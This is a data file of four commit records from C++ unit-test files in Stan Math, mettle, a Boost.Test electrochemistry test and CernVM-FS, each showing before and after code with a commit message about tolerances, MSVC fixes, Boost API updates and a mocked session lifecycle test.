{"text":"<commit_before>#include <test\/unit\/math\/test_ad.hpp>\n\nTEST(MathMixMatFun, subtract_1) {\n  auto f\n      = [](const auto& x, const auto& y) { return stan::math::subtract(x, y); };\n\n  double d = 2;\n  Eigen::MatrixXd m11(1, 1);\n  m11 << 1;\n  Eigen::MatrixXd m11b(1, 1);\n  m11b << 10;\n  Eigen::VectorXd v1(1);\n  v1 << 2;\n  Eigen::VectorXd v1b(1);\n  v1b << -20;\n  Eigen::RowVectorXd rv1(1);\n  rv1 << 3;\n  Eigen::RowVectorXd rv1b(1);\n  rv1b << -3;\n  stan::test::expect_ad(f, d, v1);\n  stan::test::expect_ad(f, d, rv1);\n  stan::test::expect_ad(f, d, m11);\n  stan::test::expect_ad(f, v1, d);\n  stan::test::expect_ad(f, rv1, d);\n  stan::test::expect_ad(f, m11, d);\n  stan::test::expect_ad(f, v1, v1b);\n  stan::test::expect_ad(f, rv1, rv1b);\n  stan::test::expect_ad(f, m11, m11b);\n}\n\nTEST(MathMixMatFun, subtract_empty) {\n  auto f\n      = [](const auto& x, const auto& y) { return stan::math::subtract(x, y); };\n\n  double d = 2;\n  Eigen::MatrixXd m00(0, 0);\n  Eigen::MatrixXd m00b(0, 0);\n  Eigen::VectorXd v0(0);\n  Eigen::VectorXd v0b(0);\n  Eigen::RowVectorXd rv0(0);\n  Eigen::RowVectorXd rv0b(0);\n  stan::test::expect_ad(f, d, v0);\n  stan::test::expect_ad(f, d, rv0);\n  stan::test::expect_ad(f, d, m00);\n  stan::test::expect_ad(f, v0, d);\n  stan::test::expect_ad(f, rv0, d);\n  stan::test::expect_ad(f, m00, d);\n  stan::test::expect_ad(f, v0, v0b);\n  stan::test::expect_ad(f, rv0, rv0b);\n  stan::test::expect_ad(f, m00, m00b);\n}\n\nTEST(MathMixMatFun, subtract_scalar_mat) {\n  auto f\n      = [](const auto& x, const auto& y) { return stan::math::subtract(x, y); };\n\n  double d = 2;\n  Eigen::MatrixXd m22(2, 2);\n  m22 << 1, 2, 3, 4;\n  Eigen::MatrixXd m22b(2, 2);\n  m22b << 10, 20, 40, 100;\n  Eigen::VectorXd v2(2);\n  v2 << 10, 12;\n  Eigen::VectorXd v2b(2);\n  v2b << -1, -5;\n  Eigen::RowVectorXd rv2(2);\n  rv2 << 11, 15;\n  Eigen::RowVectorXd rv2b(2);\n  rv2b << 100, -1001;\n  stan::test::expect_ad(f, d, v2);\n  stan::test::expect_ad(f, d, rv2);\n  stan::test::expect_ad(f, d, m22);\n  stan::test::expect_ad(f, v2, d);\n  stan::test::expect_ad(f, rv2, d);\n  stan::test::expect_ad(f, m22, d);\n  stan::test::expect_ad(f, v2, v2b);\n  stan::test::expect_ad(f, rv2, rv2b);\n  stan::test::expect_ad(f, m22b, m22b);\n}\n\nTEST(MathMixMatFun, subtract_vec_mat) {\n  auto f\n      = [](const auto& x, const auto& y) { return stan::math::subtract(x, y); };\n\n  Eigen::VectorXd v5(5);\n  v5 << 1, 2, 3, 4, 5;\n  Eigen::VectorXd v5b(5);\n  v5 << 2, 3, 4, 5, 6;\n  Eigen::VectorXd rv5(5);\n  v5 << 1, 2, 3, 4, 5;\n  Eigen::VectorXd rv5b(5);\n  v5 << 2, 3, 4, 5, 6;\n  stan::test::expect_ad(f, v5, v5b);\n  stan::test::expect_ad(f, rv5, rv5b);\n}\n\nTEST(MathMixMatFun, subtract_mat_mat) {\n  auto f\n      = [](const auto& x, const auto& y) { return stan::math::subtract(x, y); };\n\n  Eigen::MatrixXd m22c(2, 2);\n  m22c << -10, 1, 10, 0;\n  Eigen::MatrixXd m22d(2, 2);\n  m22d << 10, -10, 1, 2;\n  stan::test::expect_ad(f, m22c, m22d);\n\n  Eigen::MatrixXd m23(2, 3);\n  m23 << 1, 2, 3, 4, 5, 6;\n  Eigen::MatrixXd m23b(2, 3);\n  m23b << 10, 12, 14, -1, -3, -10;\n  stan::test::expect_ad(f, m23, m23b);\n}\n\n\/\/ these will throw\nTEST(MathMixMatFun, subtract_throw) {\n  auto f\n      = [](const auto& x, const auto& y) { return stan::math::subtract(x, y); };\n\n  Eigen::VectorXd v1(1);\n  v1 << 2;\n  Eigen::VectorXd v2(2);\n  v2 << 10, 12;\n  stan::test::expect_ad(f, v1, v2);\n\n  Eigen::RowVectorXd rv1(1);\n  rv1 << 3;\n  Eigen::RowVectorXd rv2(2);\n  rv2 << 11, 15;\n  stan::test::expect_ad(f, rv1, rv2);\n\n  Eigen::MatrixXd m22(2, 2);\n  m22 << 1, 2, 3, 4;\n  Eigen::MatrixXd m11(1, 1);\n  m11 << 1;\n  stan::test::expect_ad(f, m11, m22);\n}\n<commit_msg>increase tolerances in substract_vec_mat test<commit_after>#include <test\/unit\/math\/test_ad.hpp>\n\nTEST(MathMixMatFun, subtract_1) {\n  auto f\n      = [](const auto& x, const auto& y) { return stan::math::subtract(x, y); };\n\n  double d = 2;\n  Eigen::MatrixXd m11(1, 1);\n  m11 << 1;\n  Eigen::MatrixXd m11b(1, 1);\n  m11b << 10;\n  Eigen::VectorXd v1(1);\n  v1 << 2;\n  Eigen::VectorXd v1b(1);\n  v1b << -20;\n  Eigen::RowVectorXd rv1(1);\n  rv1 << 3;\n  Eigen::RowVectorXd rv1b(1);\n  rv1b << -3;\n  stan::test::expect_ad(f, d, v1);\n  stan::test::expect_ad(f, d, rv1);\n  stan::test::expect_ad(f, d, m11);\n  stan::test::expect_ad(f, v1, d);\n  stan::test::expect_ad(f, rv1, d);\n  stan::test::expect_ad(f, m11, d);\n  stan::test::expect_ad(f, v1, v1b);\n  stan::test::expect_ad(f, rv1, rv1b);\n  stan::test::expect_ad(f, m11, m11b);\n}\n\nTEST(MathMixMatFun, subtract_empty) {\n  auto f\n      = [](const auto& x, const auto& y) { return stan::math::subtract(x, y); };\n\n  double d = 2;\n  Eigen::MatrixXd m00(0, 0);\n  Eigen::MatrixXd m00b(0, 0);\n  Eigen::VectorXd v0(0);\n  Eigen::VectorXd v0b(0);\n  Eigen::RowVectorXd rv0(0);\n  Eigen::RowVectorXd rv0b(0);\n  stan::test::expect_ad(f, d, v0);\n  stan::test::expect_ad(f, d, rv0);\n  stan::test::expect_ad(f, d, m00);\n  stan::test::expect_ad(f, v0, d);\n  stan::test::expect_ad(f, rv0, d);\n  stan::test::expect_ad(f, m00, d);\n  stan::test::expect_ad(f, v0, v0b);\n  stan::test::expect_ad(f, rv0, rv0b);\n  stan::test::expect_ad(f, m00, m00b);\n}\n\nTEST(MathMixMatFun, subtract_scalar_mat) {\n  auto f\n      = [](const auto& x, const auto& y) { return stan::math::subtract(x, y); };\n\n  double d = 2;\n  Eigen::MatrixXd m22(2, 2);\n  m22 << 1, 2, 3, 4;\n  Eigen::MatrixXd m22b(2, 2);\n  m22b << 10, 20, 40, 100;\n  Eigen::VectorXd v2(2);\n  v2 << 10, 12;\n  Eigen::VectorXd v2b(2);\n  v2b << -1, -5;\n  Eigen::RowVectorXd rv2(2);\n  rv2 << 11, 15;\n  Eigen::RowVectorXd rv2b(2);\n  rv2b << 100, -1001;\n  stan::test::expect_ad(f, d, v2);\n  stan::test::expect_ad(f, d, rv2);\n  stan::test::expect_ad(f, d, m22);\n  stan::test::expect_ad(f, v2, d);\n  stan::test::expect_ad(f, rv2, d);\n  stan::test::expect_ad(f, m22, d);\n  stan::test::expect_ad(f, v2, v2b);\n  stan::test::expect_ad(f, rv2, rv2b);\n  stan::test::expect_ad(f, m22b, m22b);\n}\n\nTEST(MathMixMatFun, subtract_vec_mat) {\n  auto f\n      = [](const auto& x, const auto& y) { return stan::math::subtract(x, y); };\n  stan::test::ad_tolerances tols;\n  tols.hessian_hessian_ = 5e-3;\n  tols.hessian_fvar_hessian_ = 5e-3;\n\n  Eigen::VectorXd v5(5);\n  v5 << 1, 2, 3, 4, 5;\n  Eigen::VectorXd v5b(5);\n  v5 << 2, 3, 4, 5, 6;\n  Eigen::VectorXd rv5(5);\n  v5 << 1, 2, 3, 4, 5;\n  Eigen::VectorXd rv5b(5);\n  v5 << 2, 3, 4, 5, 6;\n  stan::test::expect_ad(tols, f, v5, v5b);\n  stan::test::expect_ad(tols, f, rv5, rv5b);\n}\n\nTEST(MathMixMatFun, subtract_mat_mat) {\n  auto f\n      = [](const auto& x, const auto& y) { return stan::math::subtract(x, y); };\n\n  Eigen::MatrixXd m22c(2, 2);\n  m22c << -10, 1, 10, 0;\n  Eigen::MatrixXd m22d(2, 2);\n  m22d << 10, -10, 1, 2;\n  stan::test::expect_ad(f, m22c, m22d);\n\n  Eigen::MatrixXd m23(2, 3);\n  m23 << 1, 2, 3, 4, 5, 6;\n  Eigen::MatrixXd m23b(2, 3);\n  m23b << 10, 12, 14, -1, -3, -10;\n  stan::test::expect_ad(f, m23, m23b);\n}\n\n\/\/ these will throw\nTEST(MathMixMatFun, subtract_throw) {\n  auto f\n      = [](const auto& x, const auto& y) { return stan::math::subtract(x, y); };\n\n  Eigen::VectorXd v1(1);\n  v1 << 2;\n  Eigen::VectorXd v2(2);\n  v2 << 10, 12;\n  stan::test::expect_ad(f, v1, v2);\n\n  Eigen::RowVectorXd rv1(1);\n  rv1 << 3;\n  Eigen::RowVectorXd rv2(2);\n  rv2 << 11, 15;\n  stan::test::expect_ad(f, rv1, rv2);\n\n  Eigen::MatrixXd m22(2, 2);\n  m22 << 1, 2, 3, 4;\n  Eigen::MatrixXd m11(1, 1);\n  m11 << 1;\n  stan::test::expect_ad(f, m11, m22);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <mettle.hpp>\nusing namespace mettle;\n\n#include \"run_counter.hpp\"\n\nnamespace mettle {\n  std::string to_printable(const test_result &result) {\n    std::ostringstream ss;\n    ss << \"test_result(\" << to_printable(result.passed) << \", \"\n       << to_printable(result.message) << \")\";\n    return ss.str();\n  }\n}\n\ntemplate<typename T, typename U>\nauto equal_test_result(T &&result, U &&message) {\n  auto res = ensure_matcher(std::forward<T>(result));\n  auto msg = ensure_matcher(std::forward<U>(message));\n\n  std::ostringstream ss;\n  ss << \"test_result(\" << res.desc() << \", \" << msg.desc() << \")\";\n\n  return make_matcher(\n    [res = std::move(res), msg = std::move(msg)]\n    (const auto &actual) -> bool {\n      return res(actual.passed) && msg(actual.message);\n    }, ss.str()\n  );\n}\n\nstruct basic_fixture {\n  basic_fixture() = default;\n  basic_fixture(const basic_fixture &) = delete;\n  basic_fixture & operator =(const basic_fixture &) = delete;\n\n  int data;\n};\n\nstruct basic_factory {\n  template<typename T>\n  T make() {\n    return { data };\n  }\n\n  int data = 0;\n};\n\nsuite<> test_calling(\"test calling\", [](auto &_) {\n\n  _.test(\"passing test called\", []() {\n    run_counter<> test;\n    auto s = make_suite<>(\"inner\", [&test](auto &_){\n      _.test(\"inner test\", test);\n    });\n\n    auto result = s.tests()[0].function();\n    expect(result, equal_test_result(true, \"\"));\n\n    expect(\"test run count\", test.runs(), equal_to(1));\n  });\n\n  _.test(\"failing test called\", []() {\n    run_counter<> test([]() {\n      expect(false, equal_to(true));\n    });\n    auto s = make_suite<>(\"inner\", [&test](auto &_){\n      _.test(\"inner test\", test);\n    });\n\n    auto result = s.tests()[0].function();\n    expect(result, equal_test_result(\n      false, regex_match(\"(.*\\n)?expected: true\\nactual:   false$\")\n    ));\n\n    expect(\"test run count\", test.runs(), equal_to(1));\n  });\n\n  _.test(\"setup and teardown called\", []() {\n    run_counter<> setup, teardown, test;\n    auto s = make_suite<>(\"inner\", [&setup, &teardown, &test](auto &_){\n      _.setup(setup);\n      _.teardown(teardown);\n      _.test(\"inner test\", test);\n    });\n\n    auto result = s.tests()[0].function();\n    expect(\"test passed\", result, equal_test_result(true, \"\"));\n\n    expect(\"setup run count\", setup.runs(), equal_to(1));\n    expect(\"test run count\", test.runs(), equal_to(1));\n    expect(\"teardown run count\", teardown.runs(), equal_to(1));\n  });\n\n  _.test(\"teardown called when test fails\", []() {\n    run_counter<> setup, teardown;\n    run_counter<> test([]() {\n      expect(false, equal_to(true));\n    });\n    auto s = make_suite<>(\"inner\", [&setup, &teardown, &test](auto &_){\n      _.setup(setup);\n      _.teardown(teardown);\n      _.test(\"inner test\", test);\n    });\n\n    auto result = s.tests()[0].function();\n    expect(result, equal_test_result(\n      false, regex_match(\"(.*\\n)?expected: true\\nactual:   false$\")\n    ));\n\n    expect(\"setup run count\", setup.runs(), equal_to(1));\n    expect(\"test run count\", test.runs(), equal_to(1));\n    expect(\"teardown run count\", teardown.runs(), equal_to(1));\n  });\n\n  _.test(\"teardown not called when setup fails\", []() {\n    run_counter<> setup([]() {\n      expect(false, equal_to(true));\n    });\n    run_counter<> teardown, test;\n    auto s = make_suite<>(\"inner\", [&setup, &teardown, &test](auto &_){\n      _.setup(setup);\n      _.teardown(teardown);\n      _.test(\"inner test\", test);\n    });\n\n    auto result = s.tests()[0].function();\n    expect(result, equal_test_result(\n      false, regex_match(\"(.*\\n)?expected: true\\nactual:   false$\")\n    ));\n\n    expect(\"setup run count\", setup.runs(), equal_to(1));\n    expect(\"test run count\", test.runs(), equal_to(0));\n    expect(\"teardown run count\", teardown.runs(), equal_to(0));\n  });\n\n  _.test(\"test fails when teardown fails\", []() {\n    run_counter<> teardown([]() {\n      expect(false, equal_to(true));\n    });\n    run_counter<> setup, test;\n    auto s = make_suite<>(\"inner\", [&setup, &teardown, &test](auto &_){\n      _.setup(setup);\n      _.teardown(teardown);\n      _.test(\"inner test\", test);\n    });\n\n    auto result = s.tests()[0].function();\n    expect(result, equal_test_result(\n      false, regex_match(\"(.*\\n)?expected: true\\nactual:   false$\")\n    ));\n\n    expect(\"setup run count\", setup.runs(), equal_to(1));\n    expect(\"test run count\", test.runs(), equal_to(1));\n    expect(\"teardown run count\", teardown.runs(), equal_to(1));\n  });\n\n  _.test(\"test failure reported if test and teardown fail\", []() {\n    run_counter<> setup;\n    run_counter<> teardown([]() {\n      expect(std::string(\"teardown\"), equal_to(\"foo\"));\n    });\n    run_counter<> test([]() {\n      expect(std::string(\"test\"), equal_to(\"foo\"));\n    });\n    auto s = make_suite<>(\"inner\", [&setup, &teardown, &test](auto &_){\n      _.setup(setup);\n      _.teardown(teardown);\n      _.test(\"inner test\", test);\n    });\n\n    auto result = s.tests()[0].function();\n    expect(result, equal_test_result(\n      false, regex_match(\"(.*\\n)?expected: \\\"foo\\\"\\nactual:   \\\"test\\\"$\")\n    ));\n\n    expect(\"setup run count\", setup.runs(), equal_to(1));\n    expect(\"test run count\", test.runs(), equal_to(1));\n    expect(\"teardown run count\", teardown.runs(), equal_to(1));\n  });\n\n});\n\n\/\/ XXX: Enable these tests on MSVC (they trigger an ICE somewhere).\n#if !defined(_MSC_VER) || defined(__clang__)\n\nsuite<basic_fixture> test_fixtures(\"suite fixtures\", [](auto &_) {\n\n  _.template subsuite<int>(\"subsuite\", type_only, [](auto &_) {\n    _.setup([](basic_fixture &f) {\n      f.data++;\n    });\n\n    _.test(\"outer fixture was passed by reference\", [](basic_fixture &f) {\n      expect(f.data, equal_to(2));\n    });\n\n    _.template subsuite<basic_fixture>(\"sub-subsuite\", basic_factory{5},\n                                       [](auto &_) {\n      _.setup([](basic_fixture &f, basic_fixture &) {\n        f.data++;\n      });\n\n      _.test(\"outer fixture was passed by reference\",\n             [](basic_fixture &f, basic_fixture &) {\n        expect(f.data, equal_to(3));\n      });\n\n      _.test(\"inner fixture was constructed by factory\",\n             [](basic_fixture &, basic_fixture &f2) {\n        expect(f2.data, equal_to(5));\n      });\n\n    });\n\n  });\n\n  \/\/ Put the setup after the subsuite is created to ensure that order doesn't\n  \/\/ matter.\n  _.setup([](basic_fixture &f) {\n    f.data = 1;\n  });\n\n});\n\n#endif\n<commit_msg>Fix test_suite_execution.cpp on MSVC<commit_after>#include <mettle.hpp>\nusing namespace mettle;\n\n#include \"run_counter.hpp\"\n\nnamespace mettle {\n  std::string to_printable(const test_result &result) {\n    std::ostringstream ss;\n    ss << \"test_result(\" << to_printable(result.passed) << \", \"\n       << to_printable(result.message) << \")\";\n    return ss.str();\n  }\n}\n\ntemplate<typename T, typename U>\nauto equal_test_result(T &&result, U &&message) {\n  auto res = ensure_matcher(std::forward<T>(result));\n  auto msg = ensure_matcher(std::forward<U>(message));\n\n  std::ostringstream ss;\n  ss << \"test_result(\" << res.desc() << \", \" << msg.desc() << \")\";\n\n  return make_matcher(\n    [res = std::move(res), msg = std::move(msg)]\n    (const auto &actual) -> bool {\n      return res(actual.passed) && msg(actual.message);\n    }, ss.str()\n  );\n}\n\nstruct basic_fixture {\n  basic_fixture() = default;\n  basic_fixture(const basic_fixture &) = delete;\n  basic_fixture & operator =(const basic_fixture &) = delete;\n\n  int data;\n};\n\nstruct basic_factory {\n  basic_factory(int data) : data(data) {}\n\n  template<typename T>\n  T make() {\n    return { data };\n  }\n\n  int data = 0;\n};\n\nsuite<> test_calling(\"test calling\", [](auto &_) {\n\n  _.test(\"passing test called\", []() {\n    run_counter<> test;\n    auto s = make_suite<>(\"inner\", [&test](auto &_){\n      _.test(\"inner test\", test);\n    });\n\n    auto result = s.tests()[0].function();\n    expect(result, equal_test_result(true, \"\"));\n\n    expect(\"test run count\", test.runs(), equal_to(1));\n  });\n\n  _.test(\"failing test called\", []() {\n    run_counter<> test([]() {\n      expect(false, equal_to(true));\n    });\n    auto s = make_suite<>(\"inner\", [&test](auto &_){\n      _.test(\"inner test\", test);\n    });\n\n    auto result = s.tests()[0].function();\n    expect(result, equal_test_result(\n      false, regex_match(\"(.*\\n)?expected: true\\nactual:   false$\")\n    ));\n\n    expect(\"test run count\", test.runs(), equal_to(1));\n  });\n\n  _.test(\"setup and teardown called\", []() {\n    run_counter<> setup, teardown, test;\n    auto s = make_suite<>(\"inner\", [&setup, &teardown, &test](auto &_){\n      _.setup(setup);\n      _.teardown(teardown);\n      _.test(\"inner test\", test);\n    });\n\n    auto result = s.tests()[0].function();\n    expect(\"test passed\", result, equal_test_result(true, \"\"));\n\n    expect(\"setup run count\", setup.runs(), equal_to(1));\n    expect(\"test run count\", test.runs(), equal_to(1));\n    expect(\"teardown run count\", teardown.runs(), equal_to(1));\n  });\n\n  _.test(\"teardown called when test fails\", []() {\n    run_counter<> setup, teardown;\n    run_counter<> test([]() {\n      expect(false, equal_to(true));\n    });\n    auto s = make_suite<>(\"inner\", [&setup, &teardown, &test](auto &_){\n      _.setup(setup);\n      _.teardown(teardown);\n      _.test(\"inner test\", test);\n    });\n\n    auto result = s.tests()[0].function();\n    expect(result, equal_test_result(\n      false, regex_match(\"(.*\\n)?expected: true\\nactual:   false$\")\n    ));\n\n    expect(\"setup run count\", setup.runs(), equal_to(1));\n    expect(\"test run count\", test.runs(), equal_to(1));\n    expect(\"teardown run count\", teardown.runs(), equal_to(1));\n  });\n\n  _.test(\"teardown not called when setup fails\", []() {\n    run_counter<> setup([]() {\n      expect(false, equal_to(true));\n    });\n    run_counter<> teardown, test;\n    auto s = make_suite<>(\"inner\", [&setup, &teardown, &test](auto &_){\n      _.setup(setup);\n      _.teardown(teardown);\n      _.test(\"inner test\", test);\n    });\n\n    auto result = s.tests()[0].function();\n    expect(result, equal_test_result(\n      false, regex_match(\"(.*\\n)?expected: true\\nactual:   false$\")\n    ));\n\n    expect(\"setup run count\", setup.runs(), equal_to(1));\n    expect(\"test run count\", test.runs(), equal_to(0));\n    expect(\"teardown run count\", teardown.runs(), equal_to(0));\n  });\n\n  _.test(\"test fails when teardown fails\", []() {\n    run_counter<> teardown([]() {\n      expect(false, equal_to(true));\n    });\n    run_counter<> setup, test;\n    auto s = make_suite<>(\"inner\", [&setup, &teardown, &test](auto &_){\n      _.setup(setup);\n      _.teardown(teardown);\n      _.test(\"inner test\", test);\n    });\n\n    auto result = s.tests()[0].function();\n    expect(result, equal_test_result(\n      false, regex_match(\"(.*\\n)?expected: true\\nactual:   false$\")\n    ));\n\n    expect(\"setup run count\", setup.runs(), equal_to(1));\n    expect(\"test run count\", test.runs(), equal_to(1));\n    expect(\"teardown run count\", teardown.runs(), equal_to(1));\n  });\n\n  _.test(\"test failure reported if test and teardown fail\", []() {\n    run_counter<> setup;\n    run_counter<> teardown([]() {\n      expect(std::string(\"teardown\"), equal_to(\"foo\"));\n    });\n    run_counter<> test([]() {\n      expect(std::string(\"test\"), equal_to(\"foo\"));\n    });\n    auto s = make_suite<>(\"inner\", [&setup, &teardown, &test](auto &_){\n      _.setup(setup);\n      _.teardown(teardown);\n      _.test(\"inner test\", test);\n    });\n\n    auto result = s.tests()[0].function();\n    expect(result, equal_test_result(\n      false, regex_match(\"(.*\\n)?expected: \\\"foo\\\"\\nactual:   \\\"test\\\"$\")\n    ));\n\n    expect(\"setup run count\", setup.runs(), equal_to(1));\n    expect(\"test run count\", test.runs(), equal_to(1));\n    expect(\"teardown run count\", teardown.runs(), equal_to(1));\n  });\n\n});\n\nsuite<basic_fixture> test_fixtures(\"suite fixtures\", [](auto &_) {\n\n  subsuite<int>(_, \"subsuite\", type_only, [](auto &_) {\n    _.setup([](basic_fixture &f) {\n      f.data++;\n    });\n\n    _.test(\"outer fixture was passed by reference\", [](basic_fixture &f) {\n      expect(f.data, equal_to(2));\n    });\n\n    subsuite<basic_fixture>(_, \"sub-subsuite\", basic_factory(5), [](auto &_) {\n      _.setup([](basic_fixture &f, basic_fixture &) {\n        f.data++;\n      });\n\n      _.test(\"outer fixture was passed by reference\",\n             [](basic_fixture &f, basic_fixture &) {\n        expect(f.data, equal_to(3));\n      });\n\n      _.test(\"inner fixture was constructed by factory\",\n             [](basic_fixture &, basic_fixture &f2) {\n        expect(f2.data, equal_to(5));\n      });\n\n    });\n\n  });\n\n  \/\/ Put the setup after the subsuite is created to ensure that order doesn't\n  \/\/ matter.\n  _.setup([](basic_fixture &f) {\n    f.data = 1;\n  });\n\n});\n<|endoftext|>"}
{"text":"<commit_before>#define BOOST_TEST_MODULE ButlerVolmerKinetics\n#define BOOST_TEST_MAIN\n#include <boost\/test\/unit_test.hpp>\n#include <boost\/foreach.hpp>\n#include <boost\/format.hpp>\n#include <boost\/property_tree\/ptree.hpp>\n#include <boost\/property_tree\/xml_parser.hpp>\n#include <cmath>\n#include <iostream>\n#include <fstream>\n\n\ndouble const TOLERANCE = 1.0e-6;\n\n\nBOOST_AUTO_TEST_CASE( test_butler_volmer_kinetic )\n{\n    double const faraday_constant                     =   9.64853365e4;\n    double const gas_constant                         =   8.3144621;\n    double const boltzmann_constant                   =   8.6173324e-5;\n    double const temperature                          = 300.0;\n    double const anodic_charge_transfer_coefficient   =   0.5;\n    double const cathodic_charge_transfer_coefficient =   0.5;\n    double const exchange_current_density             =   1.0;\n    BOOST_CHECK_CLOSE(\n        faraday_constant\/(gas_constant*temperature),\n        1.0\/(boltzmann_constant*temperature),\n        TOLERANCE);\n    std::cout<<boost::format(\"  %15.7e  %15.7e  \\n\")\n        % static_cast<double>(faraday_constant\/(gas_constant*temperature))\n        % static_cast<double>(1.0\/(boltzmann_constant*temperature))\n        ;\n\n\n\n    std::fstream fout;\n    fout.open(\"butler_volmer_kinetics_data\", std::fstream::out);\n\n    std::shared_ptr<boost::property_tree::ptree> database =\n        std::make_shared<boost::property_tree::ptree>();\n    read_xml(\"input_butler_volmer_kinetics\", *database);\n\n    double const overpotential_lower_limit = database->get<double>(\"overpotential_lower_limit\");\n    double const overpotential_upper_limit = database->get<double>(\"overpotential_upper_limit\");\n    int    const n_points                  = database->get<int   >(\"n_points\"                 );\n    double const step = (overpotential_upper_limit - overpotential_lower_limit) \/ (n_points + 1);\n    for (double overpotential = overpotential_lower_limit;\n        overpotential <= overpotential_upper_limit;\n        overpotential += step)\n    {\n        fout<<boost::format(\"  %10.7f  %15.7e  %15.7e  \\n\")\n            % overpotential\n            % static_cast<double>(\n                exchange_current_density * \n                (std::exp(anodic_charge_transfer_coefficient * overpotential \/ (boltzmann_constant*temperature))\n                - std::exp(- cathodic_charge_transfer_coefficient * overpotential \/ (boltzmann_constant*temperature)))\n              )\n            % static_cast<double>(\n                exchange_current_density *\n                (anodic_charge_transfer_coefficient + cathodic_charge_transfer_coefficient)\n                    * overpotential \/ (boltzmann_constant*temperature)\n              )\n            ;\n\n    }\n\n    fout.close();\n}\n<commit_msg>update test butler volmer kin for new boost test<commit_after>#define BOOST_TEST_MODULE ButlerVolmerKinetics\n#define BOOST_TEST_MAIN\n#include <boost\/test\/unit_test.hpp>\n#include <boost\/foreach.hpp>\n#include <boost\/format.hpp>\n#include <boost\/property_tree\/ptree.hpp>\n#include <boost\/property_tree\/xml_parser.hpp>\n#include <cmath>\n#include <iostream>\n#include <fstream>\n\nBOOST_AUTO_TEST_CASE( test_butler_volmer_kinetic )\n{\n    double const faraday_constant                     =   9.64853365e4;\n    double const gas_constant                         =   8.3144621;\n    double const boltzmann_constant                   =   8.6173324e-5;\n    double const temperature                          = 300.0;\n    double const anodic_charge_transfer_coefficient   =   0.5;\n    double const cathodic_charge_transfer_coefficient =   0.5;\n    double const exchange_current_density             =   1.0;\n    BOOST_TEST(\n        faraday_constant\/(gas_constant*temperature) ==\n        1.0\/(boltzmann_constant*temperature),\n        boost::test_tools::tolerance(1.0e-6));\n    std::cout<<boost::format(\"  %15.7e  %15.7e  \\n\")\n        % static_cast<double>(faraday_constant\/(gas_constant*temperature))\n        % static_cast<double>(1.0\/(boltzmann_constant*temperature))\n        ;\n\n\n\n    std::fstream fout;\n    fout.open(\"butler_volmer_kinetics_data\", std::fstream::out);\n\n    std::shared_ptr<boost::property_tree::ptree> database =\n        std::make_shared<boost::property_tree::ptree>();\n    read_xml(\"input_butler_volmer_kinetics\", *database);\n\n    double const overpotential_lower_limit = database->get<double>(\"overpotential_lower_limit\");\n    double const overpotential_upper_limit = database->get<double>(\"overpotential_upper_limit\");\n    int    const n_points                  = database->get<int   >(\"n_points\"                 );\n    double const step = (overpotential_upper_limit - overpotential_lower_limit) \/ (n_points + 1);\n    for (double overpotential = overpotential_lower_limit;\n        overpotential <= overpotential_upper_limit;\n        overpotential += step)\n    {\n        fout<<boost::format(\"  %10.7f  %15.7e  %15.7e  \\n\")\n            % overpotential\n            % static_cast<double>(\n                exchange_current_density * \n                (std::exp(anodic_charge_transfer_coefficient * overpotential \/ (boltzmann_constant*temperature))\n                - std::exp(- cathodic_charge_transfer_coefficient * overpotential \/ (boltzmann_constant*temperature)))\n              )\n            % static_cast<double>(\n                exchange_current_density *\n                (anodic_charge_transfer_coefficient + cathodic_charge_transfer_coefficient)\n                    * overpotential \/ (boltzmann_constant*temperature)\n              )\n            ;\n\n    }\n\n    fout.close();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * This file is part of the CernVM File System.\n *\/\n\n#include <gtest\/gtest.h>\n\n#include <session_context.h>\n\nusing namespace upload;\ntypedef SessionContext::Stats Stats;\n\nclass T_SessionContext : public ::testing::Test {};\n\nTEST_F(T_SessionContext, BasicLifeCycle) {\n  SessionContext ctx;\n  EXPECT_TRUE(ctx.Initialize(\"http:\/\/my.repo.address:8080\/api\/v1\",\n                             \"\/path\/to\/the\/session_file\"));\n\n  Stats stats = ctx.stats();\n\n  EXPECT_EQ(stats.buckets_created, 0u);\n  EXPECT_EQ(stats.buckets_committed, 0u);\n  EXPECT_EQ(stats.objects_dispatched, 0u);\n  EXPECT_EQ(stats.bytes_committed, 0u);\n  EXPECT_EQ(stats.bytes_dispatched, 0u);\n\n  EXPECT_TRUE(ctx.FinalizeSession());\n}\n<commit_msg>T_SessionContext - add basic lifecycle test<commit_after>\/**\n * This file is part of the CernVM File System.\n *\/\n\n#include <gtest\/gtest.h>\n\n#include <session_context.h>\n\nusing namespace upload;\n\nclass SessionContextMocked : public SessionContext {\n  virtual Future<bool>* DispatchObjectPack(ObjectPack* pack) {\n    delete pack;  \/\/ Discard object pack\n\n    \/\/ Just return a completed future saying everything is \"fine\" (TM)\n    Future<bool>* future = new Future<bool>();\n    future->Set(true);\n    return future;\n  }\n};\n\ntypedef SessionContext::Stats Stats;\n\nclass T_SessionContext : public ::testing::Test {};\n\nTEST_F(T_SessionContext, BasicLifeCycle) {\n  SessionContextMocked ctx;\n  EXPECT_TRUE(ctx.Initialize(\"http:\/\/my.repo.address:8080\/api\/v1\",\n                             \"\/path\/to\/the\/session_file\"));\n\n  Stats stats = ctx.stats();\n\n  EXPECT_EQ(stats.buckets_created, 0u);\n  EXPECT_EQ(stats.buckets_committed, 0u);\n  EXPECT_EQ(stats.objects_dispatched, 0u);\n  EXPECT_EQ(stats.bytes_committed, 0u);\n  EXPECT_EQ(stats.bytes_dispatched, 0u);\n\n  ObjectPack::BucketHandle hd = ctx.NewBucket();\n  stats = ctx.stats();\n  EXPECT_EQ(stats.buckets_created, 1u);\n\n  unsigned char buffer[4096];\n  memset(buffer, 0, 4096);\n  ObjectPack::AddToBucket(buffer, 4096, hd);\n\n  shash::Any hash(shash::kSha1);\n  EXPECT_TRUE(ctx.CommitBucket(ObjectPack::kCas, hash, hd));\n  ctx.Dispatch();\n  stats = ctx.stats();\n  EXPECT_EQ(stats.buckets_committed, 1u);\n  EXPECT_EQ(stats.bytes_committed, 4096u);\n  EXPECT_EQ(stats.objects_dispatched, 1u);\n  EXPECT_EQ(stats.bytes_dispatched, 4096u);\n\n  EXPECT_TRUE(ctx.Finalize());\n}\n<|endoftext|>"}
